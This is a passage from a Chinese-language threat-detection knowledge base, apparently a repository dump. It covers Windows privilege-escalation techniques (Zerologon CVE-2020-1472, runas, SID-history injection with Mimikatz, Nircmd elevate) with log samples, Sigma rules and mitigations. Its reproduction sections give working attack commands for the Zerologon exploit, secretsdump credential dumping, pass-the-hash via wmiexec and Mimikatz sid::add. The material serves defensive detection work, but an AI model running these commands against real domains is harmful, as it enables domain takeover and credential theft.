**监控异常登录模式**：关注频繁的登录失败事件，特别是涉及禁用账号、受限账号或不常见错误代码的情况。\n3. **加强默认账号管理**：更改所有默认账号的凭据，禁用不必要的默认账号，并定期审查默认账号的使用情况。\n4. **实施最小权限原则**：限制账号的访问权限，确保用户和服务账号仅具有完成任务所需的最低权限。\n5. **定期更新和审查信任关系**：检查域和可信域之间的信任关系，确保无异常配置。\n6. **部署SIEM系统**：使用安全信息和事件管理（SIEM）系统，结合上述Sigma规则，实时监控和分析登录失败事件。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1078.003  \n  <https://attack.mitre.org/techniques/T1078/003>\n- Microsoft Windows 安全事件日志  \n  <https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625>  \n  <https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776>\n- Sigma规则库  \n  <https://github.com/SigmaHQ/sigma>"
  },
  {
    "path": "Windows/06权限提升/T1134.001-Win-CVE-2020-1472.md",
    "content": "# T1134.001-Win-CVE-2020-1472\n\n## 描述\n\n攻击者可能通过复制并冒充另一个用户的令牌来提升特权并绕过访问控制。攻击者可以使用`DuplicateToken(Ex)`函数创建新的访问令牌，复制现有令牌。然后，该令牌可通过`ImpersonateLoggedOnUser`使调用线程模拟已登录用户的安全上下文，或通过`SetThreadToken`将模拟令牌分配给线程。\n\n当攻击者拥有一个特定的现有进程并希望将新令牌分配给该进程时，这种技术尤为有效。例如，当目标用户在系统上具有非网络登录会话时，攻击者可能利用此方法。\n\n## 测试案例\n\n2020年9月11日，安全研究员Secura发布公告，详细说明了Microsoft于2020年8月修补的漏洞（CVE-2020-1472）。该漏洞被称为“Zerologon”，CVSS评分高达10.0，因其能在短时间内（号称3秒）攻陷域控制器（DC），危害极大。攻击者可通过NetLogon（MS-NRPC）协议与活动目录（AD）域控制器建立安全通道时，利用该漏洞将域控制器的计算机账号密码置为空，从而完全控制域控制器。本文从漏洞原理、复现过程和威胁狩猎三个方面对该漏洞进行分析。\n\n具体内容可参考安全客文章：[Zerologon分析与狩猎](https://www.anquanke.com/post/id/219090#h2-2)。\n\n## 检测日志\n\n- **Windows 系统日志**：通过Windows事件查看器中的系统日志捕获相关事件。\n- **全流量日志**：通过网络流量分析工具（如Zeek）捕获NetLogon协议的异常请求。\n\n此外，Microsoft在2020年8月的补丁中新增了五个事件ID，用于监控易受攻击的NetLogon连接：\n1. **Event ID 5829**：允许存在漏洞的NetLogon安全通道连接时触发。\n2. **Event ID 5827/5828**：拒绝易受攻击的NetLogon连接时触发。\n3. **Event ID 5830/5831**：允许存在漏洞的NetLogon连接时触发。\n\n如果域控制器已安装相关补丁，可通过上述事件ID进行威胁狩猎。\n\n## 测试复现\n\n以下复现过程参考安全客文章：[Zerologon分析与狩猎](https://www.anquanke.com/post/id/219090#h2-2)。\n\n### 实验环境\n\n```yaml\n域控制器：\n  系统：Windows Server 2012 R2（x64）\n  IP：10.10.10.10\n  主机名：DC\n  域：de1ay.com\n```\n\n![Windows域控](https://p4.ssl.qhimg.com/t01d53a30398ec357a2.jpg)\n\n```yaml\n攻击机：\n  系统：Ubuntu 16.04（x64）\n  IP：10.10.10.111\n```\n\n![攻击机](https://p4.ssl.qhimg.com/t019275a00ca38b1d6b.jpg)\n\n### 复现步骤\n\n1. **运行漏洞利用脚本**  \n   使用公开的CVE-2020-1472漏洞利用脚本，将域控制器机器账户（DC）的密码置为空：\n\n   ```bash\n   python3 cve-2020-1472-exploit.py DC 10.10.10.10\n   ```\n\n   ![漏洞利用](https://p0.ssl.qhimg.com/t01f402a9c7c4c3b532.jpg)\n\n2. **导出域内凭据**  \n   域控制器账户密码置为空后，可视为已知密码，使用`secretsdump.py`导出域内所有用户凭据：\n\n   ```bash\n   python3 secretsdump.py de1ay/DC\\$@10.10.10.10 -no-pass\n   ```\n\n   ![凭据导出](https://p0.ssl.qhimg.com/t01497ee0714e6f98cc.jpg)\n\n   导出的哈希中，DC账户的NTLM哈希为`31d6cfe0d16ae931b73c59d7e0c089c0`，表示空密码。同时，获得了域管理员（Administrator）的哈希。\n\n3. **利用域管理员哈希控制域控**  \n   使用域管理员的NTLM哈希通过`wmiexec.py`登录域控制器，完成接管：\n\n   ```bash\n   python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 Administrator@10.10.10.10\n   ```\n\n   ![域控接管](https://p5.ssl.qhimg.com/t0140b167f7020733c8.jpg)\n\n## 测试留痕\n\n暂无具体留痕描述，建议参考安全客文章：[Zerologon分析与狩猎](https://www.anquanke.com/post/id/219090#h2-2)。\n\n可能的留痕包括：\n- Windows系统日志中的NetLogon相关事件（Event ID 5827–5831）。\n- 网络流量中异常的NetLogon协议请求（如大量`NetrServerReqChallenge`或`NetrServerAuthenticate3`请求）。\n\n## 检测规则/思路\n\n### Sigma规则\n\n#### 检测规则1：Zeek检测异常NetLogon请求\n\n```yaml\ntitle: Possible CVE-2020-1472 (Zerologon)\ndescription: CVE-2020-1472 (Netlogon Elevation of Privilege Vulnerability) may create thousands of NetrServerReqChallenge & NetrServerAuthenticate3 requests in a short amount of time.\nauthor: SOC Prime Team\ndate: 2020/09/11\nreferences:\n  - https://github.com/SecuraBV/CVE-2020-1472\ntags:\n  - attack.lateral_movement\n  - attack.t1210\nlogsource:\n  product: zeek\n  service: dce_rpc\ndetection:\n  selection:\n    endpoint: 'netlogon'\n    operation: 'NetrServerReqChallenge'\n  selection2:\n    endpoint: 'netlogon'\n    operation: 'NetrServerAuthenticate3'\n  timeframe: 1m\n  condition: selection or selection2 | count() by src_ip > 100\nfalsepositives:\n  - Unknown\nlevel: high\n```\n\n#### 检测规则2：Windows系统日志检测\n\n```yaml\ntitle: Vulnerable Netlogon Secure Channel Connection Allowed\nid: a0cb7110-edf0-47a4-9177-541a4083128a\nstatus: experimental\ndescription: Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.\nreferences:\n  - https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc\nauthor: NVISO\ndate: 2020/09/15\ntags:\n  - attack.privilege_escalation\nlogsource:\n  product: windows\n  service: system\ndetection:\n  selection:\n    EventID:\n      - 5829 # 需域控安装补丁后生效\n  condition: selection\nfields:\n  - SAMAccountName\nfalsepositives:\n  - Unknown\nlevel: high\n```\n\n### 建议\n\n1. **立即应用补丁**：确保所有域控制器安装了2020年8月或之后的Microsoft安全更新（KB4571729等），以修复CVE-2020-1472漏洞。\n2. **启用NetLogon日志**：在域控制器上启用详细的NetLogon日志记录，监控Event ID 5827–5831。\n3. **部署网络监控**：使用Zeek或其他网络流量分析工具，检测异常的NetLogon协议请求（如短时间内大量`NetrServerReqChallenge`或`NetrServerAuthenticate3`请求）。\n4. **审查机器账户活动**：定期检查域控制器机器账户的异常登录或密码重置行为。\n5. **实施SIEM系统**：结合Sigma规则，使用SIEM系统（如Splunk、Elastic）实时监控和分析相关事件。\n6. **测试规则效果**：上述Sigma规则未在真实环境中广泛验证，建议在测试环境中验证其有效性，并根据实际环境调整阈值以减少误报。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1134.001  \n  <https://attack.mitre.org/techniques/T1134/001/>\n- Zerologon（CVE-2020-1472）分析与狩猎  \n  <https://www.anquanke.com/post/id/219090#h2-2>\n- Sigma规则：CVE-2020-1472  \n  <https://github.com/Neo23x0/sigma/blob/2cd9b794e677a038f3ace5b15d649ca191809846/rules/windows/builtin/win_vul_cve_2020_1472.yml>\n- Microsoft NetLogon补丁说明  \n  <https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc>\n"
  },
  {
    "path": "Windows/06权限提升/T1134.001-Win-访问令牌操作-Runas命令.md",
    "content": "# T1134.001-Win-访问令牌操作-Runas命令\n\n## 描述\n\n攻击者可能会复制并冒充另一个用户的访问令牌，以提升特权或绕过访问控制。攻击者可以通过使用Windows API函数`DuplicateToken(Ex)`来复制现有令牌，生成一个新的访问令牌。随后，该令牌可通过`ImpersonateLoggedOnUser`使调用线程模拟已登录用户的安全上下文，或者通过`SetThreadToken`将模拟令牌分配给特定线程。\n\n这种技术在攻击者需要将新令牌分配给特定现有进程时特别有用。例如，当目标用户在系统上具有非网络登录会话时，攻击者可以利用此技术以目标用户的身份执行操作，从而实现特权提升或绕过限制。\n\n## 测试案例\n\n`runas`是Windows系统内置的命令行工具，允许用户以指定账户的权限运行程序，而不仅仅是继承父进程的权限。通过`runas`，攻击者可以以更高权限（如管理员或域管理员）运行程序，从而实现特权提升。\n\n在命令提示符（cmd）或PowerShell中运行`runas`命令，可查看其用法：\n\n```plaintext\nC:\\Users\\Administrator>runas\nRUNAS 用法:\n\nRUNAS [ [/noprofile | /profile] [/env] [/savecred | /netonly] ]\n        /user:<UserName> program\n\nRUNAS [ [/noprofile | /profile] [/env] [/savecred] ]\n        /smartcard [/user:<UserName>] program\n\nRUNAS /trustlevel:<TrustLevel> program\n\n   /noprofile        指定不应该加载用户的配置文件。\n                     这会加速应用程序加载，但可能会造成一些应用程序运行不正常。\n   /profile          指定应该加载用户的配置文件。这是默认值。\n   /env              要使用当前环境，而不是用户的环境。\n   /netonly          只在指定的凭据限于远程访问的情况下才使用。\n   /savecred         用用户以前保存的凭据。\n   /smartcard        如果凭据是智能卡提供的，则使用这个选项。\n   /user             <UserName> 应使用 USER@DOMAIN 或 DOMAIN\\USER 形式\n   /showtrustlevels  显示可以用作 /trustlevel 的参数的信任级别。\n   /trustlevel       <Level> 应该是在 /showtrustlevels 中枚举的一个级别。\n   program           EXE 的命令行。请参阅下面的例子\n\n示例:\n> runas /noprofile /user:mymachine\\administrator cmd\n> runas /profile /env /user:mydomain\\admin \"mmc %windir%\\system32\\dsa.msc\"\n> runas /env /user:user@domain.microsoft.com \"notepad \\\"my file.txt\\\"\"\n\n注意: 只在得到提示时才输入用户的密码。\n注意: /profile 跟 /netonly 不兼容。\n注意: /savecred 跟 /smartcard 不兼容。\n```\n\n## 检测日志\n\n检测`runas`命令的使用主要依赖于Windows安全日志，特别是事件ID 4688（新进程创建）。以下是相关日志信息：\n\n- 日志来源：Windows 安全日志\n- 事件ID：4688\n- 关键字段：\n  - 新进程名称：`C:\\Windows\\System32\\runas.exe`\n  - 进程命令行：包含`/user`参数，例如`runas /user:DOMAIN\\USER program`\n  - 令牌提升类型：指示权限提升情况\n  - 创建者主题：记录发起`runas`命令的用户账户\n\n## 测试复现\n\n以下是域环境下以域管理员权限运行程序的测试步骤，演示降权或提权操作：\n\n1. 打开命令提示符（cmd）或PowerShell。\n2. 输入以下命令以域管理员身份运行cmd：\n   ```plaintext\n   runas /user:qax\\weixin cmd\n   ```\n3. 系统会提示输入域管理员账户的密码。\n4. 输入正确密码后，将以域管理员权限启动新的cmd窗口。\n\n**注意**：此操作需要目标账户具有非网络登录会话或相关权限。\n\n**示例截图**（参考）：\n![Runas演示](https://www.hualigs.cn/image/60a2335b0fec0.jpg)\n\n## 测试留痕\n\n以下是Windows安全日志中记录的`runas`命令执行痕迹（事件ID 4688）。注意：以下日志来自不同主机，仅用于演示Windows Server 2012及以上版本操作系统能够记录命令行参数。\n\n```plaintext\n已创建新进程。\n\n创建者主题:\n 安全 ID:  QAX\\Administrator\n 帐户名:  Administrator\n 帐户域:  QAX\n 登录 ID:  0x4463EA\n\n目标主题:\n 安全 ID:  NULL SID\n 帐户名:  -\n 帐户域:  -\n 登录 ID:  0x0\n\n进程信息:\n 新进程 ID:  0x12ac\n 新进程名称: C:\\Windows\\System32\\runas.exe\n 令牌提升类型: %%1936\n 强制性标签:  Mandatory Label\\High Mandatory Level\n 创建者进程 ID: 0x12b0\n 创建者进程名称: C:\\Windows\\System32\\cmd.exe\n 进程命令行: runas /user:qax\\weixin cmd\n```\n\n## 检测规则/思路\n\n### Sigma规则\n\n以下是用于检测`runas`命令权限提升的Sigma规则：\n\n```yaml\ntitle: Runas命令进行权限提升\ndescription: 检测使用Runas命令以管理员或域用户身份运行程序的行为，可能表示权限提升。\nstatus: experimental\nreferences:\n    - https://attack.mitre.org/techniques/T1134/001/\n    - https://walterlv.blog.csdn.net/article/details/89838982\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4688\n        NewProcessName|endswith: '\\runas.exe'\n        CommandLine|contains: '/user'\n    condition: selection\nfields:\n    - EventID\n    - NewProcessName\n    - CommandLine\n    - CreatorProcessName\n    - ParentProcessName\nlevel: high\n```\n\n### 检测思路\n\n1. **命令行审计**：\n   - 启用Windows命令行审计（默认未启用），通过组策略配置“审核进程创建”以记录事件ID 4688。\n   - 重点监控`runas.exe`进程的命令行参数，特别是包含`/user`的执行记录。\n   - 检查命令行中指定的用户名是否为高权限账户（如Administrator或域管理员）。\n\n2. **Windows API监控**：\n   - 监视`DuplicateToken(Ex)`、`ImpersonateLoggedOnUser`和`SetThreadToken`等API调用，这些是令牌操作的核心函数。\n   - 将API调用与其他可疑行为（如异常进程创建或网络活动）关联，以减少误报。\n\n3. **行为分析**：\n   - 检测异常的`runas`使用模式，例如普通用户频繁尝试以管理员身份运行程序。\n   - 结合上下文分析父进程（如cmd.exe或powershell.exe）及其用户账户，判断是否为合法操作。\n\n4. **日志配置建议**：\n   - 确保Windows Server 2012及以上版本启用详细命令行日志记录（通过组策略：`计算机配置 > 管理模板 > 系统 > 审核系统事件 > 包括命令行`）。\n   - 配置SIEM系统（如Splunk或Elastic）以实时解析事件ID 4688日志，并设置告警规则。\n\n### 减少误报\n\n- 排除已知的合法`runas`使用场景，例如管理员在日常运维中以特定账户运行管理工具。\n- 结合上下文分析，例如检查`runas`执行的程序是否为可信应用（如`cmd.exe`、`mmc.exe`）。\n\n## 防御建议\n\n1. **限制Runas使用**：\n   - 通过组策略限制普通用户执行`runas`命令，或仅允许特定账户使用。\n   - 禁用不必要的管理员账户，减少攻击者可冒充的高权限账户。\n\n2. **启用命令行审计**：\n   - 确保系统启用详细的命令行日志记录，以便检测异常的`runas`使用。\n\n3. **监控高权限账户**：\n   - 定期审计管理员和域管理员账户的使用情况，检测异常登录或权限提升行为。\n\n4. **最小权限原则**：\n   - 遵循最小权限原则，限制用户和进程的默认权限，减少令牌被滥用的风险。\n\n5. **EDR部署**：\n   - 部署端点检测与响应（EDR）工具，实时监控令牌操作相关的API调用和进程行为。\n\n## 参考链接\n\n- MITRE ATT&CK: T1134.001  \n  https://attack.mitre.org/techniques/T1134/001/\n- Runas命令详解: 如何使用Runas以管理员身份运行程序  \n  https://walterlv.blog.csdn.net/article/details/89838982\n- Windows安全日志分析: 事件ID 4688详解  \n  https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4688\n- Sigma规则开发: 基于Sigma的威胁检测规则编写  \n  https://github.com/SigmaHQ/sigma"
  },
  {
    "path": "Windows/06权限提升/T1134.005-Win-SID历史记录注入.md",
    "content": "# T1134.005-Win-SID-History-Injection\n\n## 描述\n\nWindows安全标识符（SID）是用于标识用户或组账户的唯一值。Windows安全机制在安全描述符和访问令牌中使用SID。账户的SID历史记录（SID History）是Active Directory中的一个属性，可以保留其他SID，从而支持域之间的账户迁移可互操作性（例如，SID历史记录中的所有值都会包含在访问令牌中）。\n\n攻击者可利用此机制进行特权提升。拥有域管理员（或等效权限）的攻击者可以将收集的或众所周知的SID值注入SID历史记录，以冒充任意用户或组（如企业管理员）。通过横向移动技术（如远程服务、Windows Admin共享或Windows远程管理），攻击者可能因此获得对本地资源或原本无法访问的域的访问权限。\n\n## 测试案例\n\n测试工具可使用[Empire](https://attack.mitre.org/software/S0363)或[Mimikatz](https://attack.mitre.org/software/S0002)。\n\n- **Empire**：在域控制器上，Empire可用于向用户账户添加SID历史记录。\n- **Mimikatz**：其`MISC::AddSid`模块可以将任意SID或用户/组账户附加到目标用户的SID历史记录中。Mimikatz还利用SID历史记录注入扩展其他组件的功能，例如生成的Kerberos Golden Ticket或DCSync超出单个域的范围。\n\n**注意**：在Mimikatz 2.1及以上版本中，`ADDSID`功能已移至`SID`模块。\n\n示例命令（注入SID历史记录）：\n```dos\nmimikatz \"privilege::debug\" \"sid::patch\" \"sid::add /new:administrator /sam:abcc\" \"exit\"\n```\n\n示例命令（清除SID历史记录）：\n```dos\nmimikatz \"privilege::debug\" \"sid::patch\" \"sid::clear /sam:abcc\" \"exit\"\n```\n\n## 检测日志\n\n- **Windows安全日志**：关注事件ID 4765和4766。\n  - **Event ID 4765**：成功将SID历史记录添加到账户时触发。\n  - **Event ID 4766**：尝试将SID历史记录添加到账户失败时触发。\n\n**注意**：上述事件仅在Windows Server 2016及Windows 10及以上版本的域控制器上生成。\n\n## 测试复现\n\n暂无具体复现实例，可参考以下Mimikatz命令进行测试：\n\n1. **注入SID历史记录**：\n   ```dos\n   mimikatz \"privilege::debug\" \"sid::patch\" \"sid::add /new:administrator /sam:abcc\" \"exit\"\n   ```\n\n2. **验证注入结果**：\n   - 检查目标账户的SID历史记录是否包含新注入的SID（如Administrator的SID）。\n   - 尝试使用目标账户访问原本无权限的资源或域。\n\n3. **清除注入的SID历史记录**（测试后清理）：\n   ```dos\n   mimikatz \"privilege::debug\" \"sid::patch\" \"sid::clear /sam:abcc\" \"exit\"\n   ```\n\n**测试环境建议**：\n- 在隔离的测试域环境中进行，包含至少一台Windows Server 2016或以上版本的域控制器。\n- 使用低权限账户作为目标账户，注入高权限SID（如企业管理员）进行验证。\n\n## 测试留痕\n\n- **Windows安全日志**：\n  - **Event ID 4765**：成功注入SID历史记录。\n  - **Event ID 4766**：SID历史记录注入失败。\n- **网络流量**：如果通过横向移动技术（如远程服务或Windows Admin共享）访问资源，可能生成相关网络日志。\n- **域控制器账户修改日志**：检查Active Directory中目标账户的SID历史记录属性变化。\n\n**注意事项**：\n- 事件ID 4765和4766仅在Windows Server 2016及Windows 10以上版本的域控制器上生成。\n- 早期版本的Windows Server可能无法记录此类事件，需依赖其他监控手段（如AD对象更改日志）。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: Windows SID历史记录创建域控权限后门\ndescription: 检测域环境中通过SID历史记录注入创建权限后门的行为。\nreferences:\n  - https://adsecurity.org/?p=1772\nstatus: experimental\nauthor: 12306Bro\ndate: 2023/10/01\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection:\n    EventID:\n      - 4765 # 已将SID历史记录添加到帐户\n      - 4766 # 尝试将SID历史记录添加到帐户失败\n  condition: selection\nfields:\n  - AccountName\n  - SIDHistory\nfalsepositives:\n  - 合法的域账户迁移操作\n  - 管理员手动调整SID历史记录\nlevel: medium\n```\n\n**适用范围**：\n- 仅适用于Windows Server 2016及Windows 10以上版本的域控制器。\n- 检测规则基于事件ID 4765和4766，需确保域控制器日志记录启用。\n\n### 建议\n\n1. **启用详细日志记录**：\n   - 在域控制器上启用安全日志记录，确保捕获事件ID 4765和4766。\n   - 配置Active Directory审核策略，监控用户账户对象的属性更改（特别是SIDHistory属性）。\n\n2. **监控SID历史记录变化**：\n   - 定期检查高权限账户（如企业管理员、域管理员）的SID历史记录属性，识别异常注入。\n   - 使用PowerShell脚本或AD管理工具（如ADSI Edit）检查`SIDHistory`属性。\n\n3. **限制域管理员权限**：\n   - 实施最小权限原则，限制域管理员账户的使用，仅在必要时使用。\n   - 使用多因素认证（MFA）保护高权限账户。\n\n4. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）结合上述Sigma规则，实时监控SID历史记录相关事件。\n   - 设置告警规则，针对短时间内多次触发4765或4766的事件发出警告。\n\n5. **测试规则有效性**：\n   - 上述Sigma规则为实验性规则，未在真实环境中广泛验证。建议在测试环境中模拟SID历史记录注入，验证规则的准确性和误报率。\n   - 根据环境调整检测阈值，减少合法账户迁移操作导致的误报。\n\n6. **定期审计域环境**：\n   - 检查域控制器上的异常账户行为，特别是涉及高权限SID（如S-1-5-21-*-519）的注入。\n   - 定期审查横向移动相关的网络活动（如SMB、WinRM）。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1134.005  \n  <https://attack.mitre.org/techniques/T1134/005/>\n- 域渗透-域维权  \n  <https://uknowsec.cn/posts/notes/域渗透-域维权.html>\n- 如何利用SID History创建域控权限后门？  \n  <https://www.4hou.com/penetration/5476.html>\n- Active Directory SID History安全分析  \n  <https://adsecurity.org/?p=1772>\n- Mimikatz官方文档  \n  <https://github.com/gentilkiwi/mimikatz/wiki>\n"
  },
  {
    "path": "Windows/06权限提升/T1548.002-Win-使用Nircmd.exe进行权限提升.md",
    "content": "# T1548.002-Win-使用Nircmd.exe进行权限提升\n\n## 描述\n\n攻击者可能通过滥用权限提升控制机制（如绕过用户账户控制，UAC）获得更高的系统权限。UAC是Windows的一项安全功能，旨在防止未经授权的更改，要求用户或管理员确认才能执行需要提升权限的操作。攻击者可以通过利用可信的工具或配置漏洞绕过UAC提示，直接以管理员权限运行命令或程序，从而实现权限提升。这种技术通常用于在受损系统上获取更高权限，便于执行恶意操作或持久化。\n\n具体到本场景，攻击者使用NirSoft开发的`Nircmd.exe`工具，通过其`elevate`参数以管理员权限运行程序或命令。`Nircmd.exe`是一个多功能命令行工具，支持执行系统任务而无需显示用户界面，其`elevate`功能可能被滥用以绕过UAC提示，启动高权限进程。\n\n## 测试案例\n\n### 用例\n- **权限提升**：使用`Nircmd.exe`以管理员权限运行命令行工具（如`cmd.exe`）或应用程序。\n- **UAC绕过**：通过`elevate`参数启动进程，规避UAC提示（视系统配置而定）。\n- **自动化脚本**：在批处理或脚本中结合`Nircmd.exe`，以高权限执行系统操作。\n- **持久化**：通过计划任务或服务调用`Nircmd.exe`，确保恶意代码以管理员权限运行。\n\n### 示例场景\n- 攻击者将`Nircmd.exe`部署到目标系统，运行`nircmd.exe elevate cmd.exe`以管理员身份打开命令提示符，执行特权操作。\n- 在自动化攻击脚本中，使用`Nircmd.exe`以高权限启动恶意程序，绕过UAC。\n\n### 路径\n- 相关工具路径：\n  ```yml\n  - C:\\Users\\<username>\\Desktop\\nircmd-x64\\nircmd.exe\n  - C:\\Windows\\System32\\cmd.exe\n  ```\n\n### 所需权限\n- 本地用户权限（运行`Nircmd.exe`）。\n- 管理员权限（目标进程需要提升权限，可能触发UAC提示）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`Nircmd.exe`及其提升的目标进程（如`cmd.exe`）的创建。\n- **事件ID 4672**：记录分配给新登录的安全特权（如管理员权限）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`Nircmd.exe`及其子进程（如`cmd.exe`）的创建，包含命令行参数（如`elevate`）。\n- **事件ID 10**：记录`Nircmd.exe`对目标进程的访问，可能涉及权限提升。\n\n### 其他日志\n- **UAC事件日志**：若未绕过UAC，可能记录用户确认提示的交互。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2016（UAC启用）。\n- **权限**：本地用户权限（运行`Nircmd.exe`）。\n- **工具**：\n  - `Nircmd.exe`（从https://www.nirsoft.net/utils/nircmd-x64.zip下载）。\n  - Sysmon（监控进程活动）。\n  - Wireshark（可选，监控网络活动，若涉及远程下载）。\n- **网络**：隔离网络环境，无需特定端口。\n- **日志**：启用Windows安全日志（事件ID 4688）、Sysmon日志。\n- **UAC配置**：\n  - 确保UAC启用（默认设置）：\n    ```powershell\n    Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" -Name \"EnableLUA\"\n    ```\n\n### 攻击步骤\n1. **部署Nircmd.exe**：\n   - 将`Nircmd.exe`复制到靶机（如`C:\\Users\\jackma\\Desktop\\nircmd-x64\\`）。\n2. **执行权限提升**：\n   ```cmd\n   C:\\Users\\jackma\\Desktop\\nircmd-x64\\nircmd.exe elevate C:\\Windows\\System32\\cmd.exe\n   ```\n   - 若UAC提示出现，点击“确认”以管理员身份启动`cmd.exe`。\n3. **验证结果**：\n   - 检查`cmd.exe`是否以管理员权限运行：\n     ```cmd\n     whoami /priv\n     ```\n   - 验证Windows安全日志，确认事件ID 4688记录`Nircmd.exe`和`cmd.exe`的进程创建。\n   - 检查Sysmon日志，捕获`elevate`命令行参数。\n4. **清理**：\n   - 删除`Nircmd.exe`：\n     ```cmd\n     del C:\\Users\\jackma\\Desktop\\nircmd-x64\\nircmd.exe\n     ```\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688，进程创建）：\n```yml\nEventID: 4688\nTimeCreated: 2025-06-08T05:25:23.456Z\nChannel: Security\nHostname: MAJACK2F2D\nSubjectUserSid: S-1-5-18\nSubjectUserName: MAJACK2F2D$\nSubjectDomainName: ABD\nSubjectLogonId: 0x3e7\nNewProcessId: 0x1b4c\nNewProcessName: C:\\Windows\\System32\\cmd.exe\nTokenElevationType: %%1937\nProcessId: 0x39a8\nCommandLine: \"C:\\Windows\\System32\\cmd.exe\"\nTargetUserSid: S-1-5-21-1383307475-1342307136-805210941-1000\nTargetUserName: jackma\nTargetDomainName: ABD\nTargetLogonId: 0x17a295\nParentProcessName: C:\\Users\\jackma\\Desktop\\nircmd-x64\\nircmd.exe\nMandatoryLabel: S-1-16-12288\n```\n\n以下为Sysmon日志示例（事件ID 1，进程创建）：\n```yml\nEventID: 1\nUtcTime: 2025-06-08T05:25:23.789Z\nProcessGuid: {a1b2c3d4-5678-61df-9e01-000000000900}\nProcessId: 6988\nImage: C:\\Windows\\System32\\cmd.exe\nCommandLine: \"C:\\Windows\\System32\\cmd.exe\"\nParentProcessId: 14728\nParentImage: C:\\Users\\jackma\\Desktop\\nircmd-x64\\nircmd.exe\nParentCommandLine: nircmd.exe elevate C:\\Windows\\System32\\cmd.exe\nUser: ABD\\jackma\nIntegrityLevel: High\nHashes: SHA1=6E7F8A9B0C1D2E3F4A5B6C7D8E9F0A1B\n```\n\n## 检测方法/思路\n\n### Sigma规则\n```yml\ntitle: Suspicious Nircmd.exe Privilege Escalation\nid: d9e0f1c2-3a4b-5c6d-7e8f-9a0b1c2d3e4f\nstatus: experimental\ndescription: Detects use of Nircmd.exe with elevate parameter for privilege escalation\nreferences:\n  - https://attack.mitre.org/techniques/T1548/002\n  - https://www.nirsoft.net/utils/nircmd.html\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID: 1\n    ParentImage|endswith: '\\nircmd.exe'\n    CommandLine|contains: 'elevate'\n  condition: selection\nfalsepositives:\n  - Legitimate use of Nircmd.exe by administrators\n  - Automated scripts in IT environments\nlevel: medium\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检测`Nircmd.exe`进程创建，关注命令行参数包含`elevate`。\n   - 监控`Nircmd.exe`的子进程（如`cmd.exe`、`net.exe`），检查是否以高权限运行。\n2. **父子进程关系**：\n   - 检查`Nircmd.exe`作为父进程启动的异常进程（如`powershell.exe`）。\n3. **文件监控**：\n   - 检测`Nircmd.exe`的异常部署路径（如`C:\\Users\\`而非系统目录）。\n4. **行为基线**：\n   - 建立组织内`Nircmd.exe`的正常使用模式，识别异常操作（如非IT用户运行）。\n5. **UAC交互监控**：\n   - 若未绕过UAC，检测用户确认提示的日志或行为。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控进程创建（事件ID 1）和命令行参数。\n- **日志配置**：启用Windows安全日志的进程创建审核（事件ID 4688）。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）检测`Nircmd.exe`的异常行为。\n- **误报过滤**：排除合法IT脚本或管理员操作，结合上下文（如用户、路径）降低误报率。\n\n## 缓解措施\n1. **UAC强化**：\n   - 确保UAC启用并设置为最高级别：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" -Name \"ConsentPromptBehaviorAdmin\" -Value 2\n     ```\n2. **应用白名单**：\n   - 使用AppLocker或WDAC限制`Nircmd.exe`的执行，仅允许受信任路径。\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"C:\\Program Files\\*\" -User Everyone -Action Allow\n     ```\n3. **凭据保护**：\n   - 限制非管理员账户的UAC提升权限。\n   - 启用多因素认证（MFA）保护管理员账户。\n4. **文件监控**：\n   - 监控`Nircmd.exe`的下载或非标准路径部署。\n5. **监控与告警**：\n   - 配置SIEM实时告警`Nircmd.exe`的`elevate`使用。\n   - 部署IDS/IPS，检测异常进程行为。\n\n## 参考推荐\n- MITRE ATT&CK T1548.002  \n  https://attack.mitre.org/techniques/T1548/002  \n- Nircmd主页  \n  https://www.nirsoft.net/utils/nircmd.html  \n- Nircmd 64位下载  \n  http://www.nirsoft.net/utils/nircmd-x64.zip\n"
  },
  {
    "path": "Windows/06权限提升/T1574.001-Win-劫持执行流程-DLL搜索顺序劫持.md",
